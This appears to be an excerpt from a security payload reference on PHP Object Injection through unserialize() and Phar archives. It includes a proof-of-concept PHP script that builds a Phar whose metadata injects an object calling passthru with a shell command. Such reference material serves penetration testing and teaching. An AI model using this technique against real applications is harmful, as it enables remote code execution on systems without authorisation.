PHP Object Injection is an application level vulnerability that could allow an attacker to perform different kinds of malicious attacks, such as Code Injection, SQL Injection, Path Traversal and Application Denial of Service, depending on the context. The vulnerability occurs when user-supplied input is not properly sanitized before being passed to the unserialize() PHP function. Since PHP allows object serialization, attackers could pass ad-hoc serialized strings to a vulnerable unserialize() call, resulting in an arbitrary PHP object(s) injection into the application scope.
Also you should check the `Wrapper Phar://` in [File Inclusion](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion#wrapper-phar) which use a PHP object injection.
1.**Stub**: The stub is a chunk of PHP code which is executed when the file is accessed in an executable context. At a minimum, the stub must contain `__HALT_COMPILER();` at its conclusion. Otherwise, there are no restrictions on the contents of a Phar stub.
2.**Manifest**: Contains metadata about the archive and its contents.
3.**File Contents**: Contains the actual files in the archive.
4.**Signature**(optional): For verifying archive integrity.
* Example of a Phar creation in order to exploit a custom `PDFGenerator`.
```php
<?php
class PDFGenerator { }
//Create a new instance of the Dummy class and modify its property
$dummy = new PDFGenerator();
$dummy->callback = "passthru";
$dummy->fileName = "uname -a > pwned"; //our payload
// Delete any existing PHAR archive with that name
@unlink("poc.phar");
// Create a new archive
$poc = new Phar("poc.phar");
// Add all write operations to a buffer, without modifying the archive on disk
$poc->startBuffering();
// Set the stub
$poc->setStub("<?php echo 'Here is the STUB!'; __HALT_COMPILER();");
/* Add a new file in the archive with "text" as its content*/
$poc["file"] = "text";
// Add the dummy object to the metadata. This will be serialized
$poc->setMetadata($dummy);
// Stop buffering and write changes to disk
$poc->stopBuffering();
?>
```
* Example of a Phar creation with a `JPEG` magic byte header since there is no restriction on the content of stub.
* [Jack The Ripper Web challeneg Write-up from ECSC 2019 Quals Team France by Rawsec](https://rawsec.ml/en/ecsc-2019-quals-write-ups/#164-Jack-The-Ripper-Web)
* [PHP Pop Chains - Achieving RCE with POP chain exploits. - Vickie Li - September 3, 2020](https://vkili.github.io/blog/insecure%20deserialization/pop-chains/)
* [How to exploit the PHAR Deserialization Vulnerability - Alexandru Postolache - May 29, 2020](https://pentest-tools.com/blog/exploit-phar-deserialization-vulnerability/)